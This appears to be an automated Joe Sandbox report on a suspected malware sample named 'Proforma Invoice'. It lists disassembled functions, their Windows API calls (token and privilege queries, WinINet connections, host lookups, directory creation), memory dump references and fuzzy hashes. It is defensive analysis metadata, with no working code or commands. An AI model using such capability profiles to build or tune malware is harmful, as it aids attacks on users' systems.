Function 0072C498 Relevance: 6.1, APIs: 4, Instructions: 83windowCOMMON

Download Yara Rule

APIs

Part of subcall function 006A2612: GetWindowLongW.USER32(?,000000EB), ref: 006A2623

GetCursorPos.USER32(?), ref: 0072C4D2
TrackPopupMenuEx.USER32(?,00000000,?,?,?,00000000,?,006DB9AB,?,?,?,?,?), ref: 0072C4E7
GetCursorPos.USER32(?), ref: 0072C534
DefDlgProcW.USER32(?,0000007B,?,?,?,?,?,?,?,?,?,?,006DB9AB,?,?,?), ref: 0072C56E

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: Cursor$LongMenuPopupProcTrackWindow
String ID:
API String ID: 2864067406-0
Opcode ID: 6c2fe2aefdf6e0057856d7e6ad0240f8be118192a96c950700e6da421ce31fb2
Instruction ID: 2ad10f60dcd82dcc22a829610dd04ec43353c84293327c9bfe72f2d0619e9ece
Opcode Fuzzy Hash: 6c2fe2aefdf6e0057856d7e6ad0240f8be118192a96c950700e6da421ce31fb2
Instruction Fuzzy Hash: B631E435600068EFCB26CF59D858EEE7BF6EB09350F144069F9058B261C739AD61DFA8

Function 006F8656 Relevance: 6.1, APIs: 4, Instructions: 79memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 006F810A: GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),?,00000000,?), ref: 006F8121
Part of subcall function 006F810A: GetLastError.KERNEL32(?,TokenIntegrityLevel,?,00000000,?), ref: 006F812B
Part of subcall function 006F810A: GetProcessHeap.KERNEL32(00000008,?,?,TokenIntegrityLevel,?,00000000,?), ref: 006F813A
Part of subcall function 006F810A: HeapAlloc.KERNEL32(00000000,?,TokenIntegrityLevel,?,00000000,?), ref: 006F8141
Part of subcall function 006F810A: GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),00000000,?,?,?,TokenIntegrityLevel,?,00000000,?), ref: 006F8157

LookupPrivilegeValueW.ADVAPI32(00000000,?,?), ref: 006F86A3
_memcmp.LIBCMT ref: 006F86C6
GetProcessHeap.KERNEL32(00000000,00000000), ref: 006F86FC
HeapFree.KERNEL32(00000000), ref: 006F8703

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: Heap$InformationProcessToken$AllocErrorFreeLastLookupPrivilegeValue_memcmp
String ID:
API String ID: 1592001646-0
Opcode ID: 331928a3b624cc726dab2d2115f3993a27dd7b9127ec0ea3d986f458250431b8
Instruction ID: ba2e2aef548c80736dfcb59d1ae9f08a7fb16a810563b1b8927ed25b7e9bf587
Opcode Fuzzy Hash: 331928a3b624cc726dab2d2115f3993a27dd7b9127ec0ea3d986f458250431b8
Instruction Fuzzy Hash: 8A217C71E00109EFDB10DFA4C949BFEB7BAEF55304F158099E544AB241EB31AE05CB94

Function 006C098C Relevance: 6.1, APIs: 4, Instructions: 79COMMON

Download Yara Rule

APIs

__setmode.LIBCMT ref: 006C09AE

Part of subcall function 006A5A15: WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000001,00000000,00000000,00000000,00000000,00000000,00000000,?,00707896,?,?,00000000), ref: 006A5A2C
Part of subcall function 006A5A15: WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000001,00000000,?,00000000,00000000,?,?,00707896,?,?,00000000,?,?), ref: 006A5A50

_fprintf.LIBCMT ref: 006C09E5
OutputDebugStringW.KERNEL32(?), ref: 006F5DBB

Part of subcall function 006C4AAA: _flsall.LIBCMT ref: 006C4AC3

__setmode.LIBCMT ref: 006C0A1A

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: ByteCharMultiWide__setmode$DebugOutputString_flsall_fprintf
String ID:
API String ID: 521402451-0
Opcode ID: 4e61c97d75b357467cf8fbfc34dad11c1c47539a584068961113e67dce0e76a5
Instruction ID: 53eb1a4199768f98a04d5b16fbaceee435e491f44860d6c680d309a3d74908f9
Opcode Fuzzy Hash: 4e61c97d75b357467cf8fbfc34dad11c1c47539a584068961113e67dce0e76a5
Instruction Fuzzy Hash: 9F112771604208AFDB44F7F49C86EFEB7AADF42320F60015DF20656283EE644C4657E9

Function 00711767 Relevance: 6.1, APIs: 4, Instructions: 78networkCOMMON

Download Yara Rule

APIs

InternetConnectW.WININET(?,?,?,?,?,?,00000000,00000000), ref: 007117A3

Part of subcall function 0071182D: InternetOpenUrlW.WININET(?,?,00000000,00000000,?,00000000), ref: 0071184C
Part of subcall function 0071182D: InternetCloseHandle.WININET(00000000), ref: 007118E9

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: Internet$CloseConnectHandleOpen
String ID:
API String ID: 1463438336-0
Opcode ID: 603453142ab00bf4d2df65ce8de7912cfb6e7ad42a77dafbb3d1dd4481424397
Instruction ID: 0ae4c390de7f37da79be6bc53ca7b10b0d12af411c1458c384631424275a058c
Opcode Fuzzy Hash: 603453142ab00bf4d2df65ce8de7912cfb6e7ad42a77dafbb3d1dd4481424397
Instruction Fuzzy Hash: FD21A731200605BFDB125F68DC01FFAB7A9FF48710F508029FA119A6D1DB7998519794

Function 00703A2A Relevance: 6.1, APIs: 4, Instructions: 78COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNEL32(?,0072FAC0), ref: 00703A64
GetLastError.KERNEL32 ref: 00703A73
CreateDirectoryW.KERNEL32(?,00000000), ref: 00703A82
CreateDirectoryW.KERNEL32(?,00000000,00000000,000000FF,0072FAC0), ref: 00703ADF

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: CreateDirectory$AttributesErrorFileLast
String ID:
API String ID: 2267087916-0
Opcode ID: 8e2f49976b1f84bdaf62a0efb6889d1f319d54716e247659b11480daee19b1f8
Instruction ID: 09fb3441d9ea9cd06d31c8560b90c5ee17c27730e4aec4c2386838959ef4a219
Opcode Fuzzy Hash: 8e2f49976b1f84bdaf62a0efb6889d1f319d54716e247659b11480daee19b1f8
Instruction Fuzzy Hash: 402185B4608201DFC310EF28C84186A77F8AF56364F108B2EF499C72D1D7359E46CB42

Function 006D50E2 Relevance: 6.1, APIs: 4, Instructions: 67COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 006D5101

Part of subcall function 006C571C: __FF_MSGBANNER.LIBCMT ref: 006C5733
Part of subcall function 006C571C: __NMSG_WRITE.LIBCMT ref: 006C573A
Part of subcall function 006C571C: RtlAllocateHeap.NTDLL(01190000,00000000,00000001,00000000,?,?,?,006C0DD3,?), ref: 006C575F

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: AllocateHeap_free
String ID:
API String ID: 614378929-0
Opcode ID: 84d837bbd6190933fb036239715103f6b23c601a184261b4becbf8514a43b5f5
Instruction ID: c82d93a8096abaaeddda879ae1c7acddc2c1da65a5bfe30c4c069502725b271c
Opcode Fuzzy Hash: 84d837bbd6190933fb036239715103f6b23c601a184261b4becbf8514a43b5f5
Instruction Fuzzy Hash: 6811A771D04A11AFCB712F74AC45BBD37AAEF143A1B10452FF90A97751DE348D418698

Function 006A44A0 Relevance: 6.1, APIs: 4, Instructions: 66timewindowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 006A44CF

Part of subcall function 006A407C: _memset.LIBCMT ref: 006A40FC
Part of subcall function 006A407C: _wcscpy.LIBCMT ref: 006A4150
Part of subcall function 006A407C: Shell_NotifyIconW.SHELL32(00000001,000003A8), ref: 006A4160

KillTimer.USER32(?,00000001,?,?), ref: 006A4524
SetTimer.USER32(?,00000001,000002EE,00000000), ref: 006A4533
Shell_NotifyIconW.SHELL32(00000001,000003A8), ref: 006DD4B9

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: IconNotifyShell_Timer_memset$Kill_wcscpy
String ID:
API String ID: 1378193009-0
Opcode ID: b157bca8855a2ebe1c590c7b90e5839d0a6f8def373b2e3c54f1fec17d0b9f3b
Instruction ID: 345469f37a55d3b5aece7b59450ceb8367c3a92419e3a8aed6446db7453ae113
Opcode Fuzzy Hash: b157bca8855a2ebe1c590c7b90e5839d0a6f8def373b2e3c54f1fec17d0b9f3b
Instruction Fuzzy Hash: BF21F874D04784AFE732AB248C55BE6BBEDAF02308F04009EE68A56341C7B42D85CB45

Function 00716369 Relevance: 6.1, APIs: 4, Instructions: 61networkCOMMON

Download Yara Rule

APIs

Part of subcall function 006A5A15: WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000001,00000000,00000000,00000000,00000000,00000000,00000000,?,00707896,?,?,00000000), ref: 006A5A2C
Part of subcall function 006A5A15: WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000001,00000000,?,00000000,00000000,?,?,00707896,?,?,00000000,?,?), ref: 006A5A50

gethostbyname.WSOCK32(?,?,?), ref: 00716399
WSAGetLastError.WSOCK32(00000000), ref: 007163A4
_memmove.LIBCMT ref: 007163D1
inet_ntoa.WSOCK32(?), ref: 007163DC

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: ByteCharMultiWide$ErrorLast_memmovegethostbynameinet_ntoa
String ID:
API String ID: 1504782959-0
Opcode ID: 9e0f9b0eb8e4a15763f29f2fce2f747f4c581c1e3841dc299cdffa8a2ba5cc0e
Instruction ID: e8b9a7e18e3300bb2618de9e1ec343b6111c24bcdd2ce1f7f5ff76cd7979395d
Opcode Fuzzy Hash: 9e0f9b0eb8e4a15763f29f2fce2f747f4c581c1e3841dc299cdffa8a2ba5cc0e
Instruction Fuzzy Hash: 79116031500109AFCB44FBA4DD46DEFB7B9EF09310B144079F506A71A1DB34AE05DB65

Function 006F8B41 Relevance: 6.1, APIs: 4, Instructions: 59windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,000000B0,?,?), ref: 006F8B61
SendMessageW.USER32(?,000000C9,?,00000000), ref: 006F8B73
SendMessageW.USER32(?,000000C9,?,00000000), ref: 006F8B89
SendMessageW.USER32(?,000000C9,?,00000000), ref: 006F8BA4

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 8d8db076e8ad8f4cc4f82b14c6589e9f0645e056197df38474bae34c5e2668ab
Instruction ID: 47b09d1a361ce3545f21090a6b4dc11bc8350040365e14c791ac6f924da93002
Opcode Fuzzy Hash: 8d8db076e8ad8f4cc4f82b14c6589e9f0645e056197df38474bae34c5e2668ab
Instruction Fuzzy Hash: 2B111879901218FFEB11DFA5CC85FADBBB9FB48710F2040A5EA00B7290DA716E11DB94

Function 006A1290 Relevance: 6.1, APIs: 4, Instructions: 59COMMON

Download Yara Rule

APIs

Part of subcall function 006A2612: GetWindowLongW.USER32(?,000000EB), ref: 006A2623

DefDlgProcW.USER32(?,00000020,?), ref: 006A12D8
GetClientRect.USER32(?,?), ref: 006DB5FB
GetCursorPos.USER32(?), ref: 006DB605
ScreenToClient.USER32(?,?), ref: 006DB610

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: Client$CursorLongProcRectScreenWindow
String ID:
API String ID: 4127811313-0
Opcode ID: ce942f2b8fcfe340cdc1c6ebc715b696116683ee50df6fe8ccfe2db207c67fea
Instruction ID: 4b6bb890a70618a09b7f738eef4cb885c4dd2bb9eacf8e3e3c6eadcb12ad376a
Opcode Fuzzy Hash: ce942f2b8fcfe340cdc1c6ebc715b696116683ee50df6fe8ccfe2db207c67fea
Instruction Fuzzy Hash: 23113D35500019EFCB10EFA8D985AEE77B9EB06300F404465F901E7240C734FE929FA9

Function 006FD831 Relevance: 6.0, APIs: 4, Instructions: 50registryCOMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32(?,?,00000104,00000000,00000000), ref: 006FD84D
LoadTypeLibEx.OLEAUT32(?,00000002,?), ref: 006FD864
RegisterTypeLib.OLEAUT32(?,?,00000000), ref: 006FD879
RegisterTypeLibForUser.OLEAUT32(?,?,00000000), ref: 006FD897

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: Type$Register$FileLoadModuleNameUser
String ID:
API String ID: 1352324309-0
Opcode ID: d247d657bf3c283c652524de7e3c1f58ac8a8bc1d5ad998da16c263e8d584f52
Instruction ID: 58322532c1975dfd7cb8a2dbdb11cde2ff83b82b8b95103e1d62a8d4c570c620
Opcode Fuzzy Hash: d247d657bf3c283c652524de7e3c1f58ac8a8bc1d5ad998da16c263e8d584f52
Instruction Fuzzy Hash: BF115EB5605308EBE3209F50DC08FA6BBBEEB00B40F10856DE626D6190D7B4F54A9BA1

Function 006D6FB7 Relevance: 6.0, APIs: 4, Instructions: 48COMMONLIBRARYCODE

Download Yara Rule

APIs

__cftof_l.LIBCMT ref: 006D6FDB

Part of subcall function 006D76C2: __fltout2.LIBCMT ref: 006D76EB

__cftog_l.LIBCMT ref: 006D7001
__cftoe_l.LIBCMT ref: 006D7033

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: a65d1881d29c7e947f5b32dbcea64912f89e558cad637ae539af3f1adf23f7b4
Instruction ID: cead23885576dd375eb2a5af25edfd9b08b8102cd9eef56332415551ee1dd2c2
Opcode Fuzzy Hash: a65d1881d29c7e947f5b32dbcea64912f89e558cad637ae539af3f1adf23f7b4
Instruction Fuzzy Hash: F001407284414ABBCF265F84DC01CED3F63BB18355F588456FE1859271E236C9B1AB82

Function 0072B2C5 Relevance: 6.0, APIs: 4, Instructions: 47COMMON

Download Yara Rule

APIs

GetWindowRect.USER32(?,?), ref: 0072B2E4
ScreenToClient.USER32(?,?), ref: 0072B2FC
ScreenToClient.USER32(?,?), ref: 0072B320
InvalidateRect.USER32(?,?,?,?,?,?,?,?,?,?,?,?), ref: 0072B33B

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: ClientRectScreen$InvalidateWindow
String ID:
API String ID: 357397906-0
Opcode ID: b9c636ea4f905a3a3cb14215906c53dc63c33c6d00162366e009a5ab78ca9a2b
Instruction ID: 8cdc1a71d452e9d7349b20b9d098af5c9fc3df2a075224e094adf5e6ae0cde80
Opcode Fuzzy Hash: b9c636ea4f905a3a3cb14215906c53dc63c33c6d00162366e009a5ab78ca9a2b
Instruction Fuzzy Hash: EE1144B9D00209EFDB51CFA9D8849EEBBF9FF08310F108166E914E3620D735AA558F54

Function 00706BDA Relevance: 6.0, APIs: 4, Instructions: 33COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 00706BE6

Part of subcall function 007076C4: _memset.LIBCMT ref: 007076F9

_memmove.LIBCMT ref: 00706C09
_memset.LIBCMT ref: 00706C16
LeaveCriticalSection.KERNEL32(?), ref: 00706C26

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: CriticalSection_memset$EnterLeave_memmove
String ID:
API String ID: 48991266-0
Opcode ID: 55b331ab129572c099283ac72c3376a58894e2431280e786caf7f4a778ce939e
Instruction ID: bb6bf907214922c41c5c7b977993b5c298dc97e8ffd1b9b9339e2b8709e383c8
Opcode Fuzzy Hash: 55b331ab129572c099283ac72c3376a58894e2431280e786caf7f4a778ce939e
Instruction Fuzzy Hash: 9EF0303A100100EBCF416F95DC85E5ABB6AEF45320B04C069FE095E266CB35A811CBB8

Function 006A2218 Relevance: 6.0, APIs: 4, Instructions: 23COMMON

Download Yara Rule

APIs

GetSysColor.USER32(00000008), ref: 006A2231
SetTextColor.GDI32(?,000000FF), ref: 006A223B
SetBkMode.GDI32(?,00000001), ref: 006A2250
GetStockObject.GDI32(00000005), ref: 006A2258
GetWindowDC.USER32(?,00000000), ref: 006DBE83
GetPixel.GDI32(00000000,00000000,00000000), ref: 006DBE90
GetPixel.GDI32(00000000,?,00000000), ref: 006DBEA9
GetPixel.GDI32(00000000,00000000,?), ref: 006DBEC2
GetPixel.GDI32(00000000,?,?), ref: 006DBEE2
ReleaseDC.USER32(?,00000000), ref: 006DBEED

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: Pixel$Color$ModeObjectReleaseStockTextWindow
String ID:
API String ID: 1946975507-0
Opcode ID: e30e5d589b873e8b24904d4978a201d1eaec58451d935bfabc32cdb63e70f611
Instruction ID: 35868b511b2501dd97c004c0f0e9e0cb03749b6daed6a8e68664b3ec0fc31155
Opcode Fuzzy Hash: e30e5d589b873e8b24904d4978a201d1eaec58451d935bfabc32cdb63e70f611
Instruction Fuzzy Hash: D7E03932504248EBDB215F68EC0DBD83B21EB05332F00C376FA69881E5C77549A1DB12

Function 006F8712 Relevance: 6.0, APIs: 4, Instructions: 23threadCOMMON

Download Yara Rule

APIs

GetCurrentThread.KERNEL32 ref: 006F871B
OpenThreadToken.ADVAPI32(00000000,?,?,?,006F82E6), ref: 006F8722
GetCurrentProcess.KERNEL32(00000028,?,?,?,?,006F82E6), ref: 006F872F
OpenProcessToken.ADVAPI32(00000000,?,?,?,006F82E6), ref: 006F8736

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: CurrentOpenProcessThreadToken
String ID:
API String ID: 3974789173-0
Opcode ID: 2e7c4885c10901bcb6db90d955f2f71e93048f81a2789aeb96996889d3565404
Instruction ID: 6b33542750ad35e9c9d71710dbd50c53b0d03213d86abe01dbbc9f2d954ac040
Opcode Fuzzy Hash: 2e7c4885c10901bcb6db90d955f2f71e93048f81a2789aeb96996889d3565404
Instruction Fuzzy Hash: DFE04F36611211DBD7306FB05E0CB9A3BB8EF55791F148878E245CA040DA3884428754

Function 006A6240 Relevance: 5.6, APIs: 2, Strings: 1, Instructions: 317COMMON

Download Yara Rule

Strings

%s, xrefs: 006A624E

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID:
String ID: %s
API String ID: 0-3318637821
Opcode ID: 2634ef423ff5ac113de39fc687450ccb3d366873fe38bccd029b3e141ef72848
Instruction ID: 2728dc7ad5de4f8b90dab6192ea121f58450b00b0b516b862ca18ee1dea1b94f
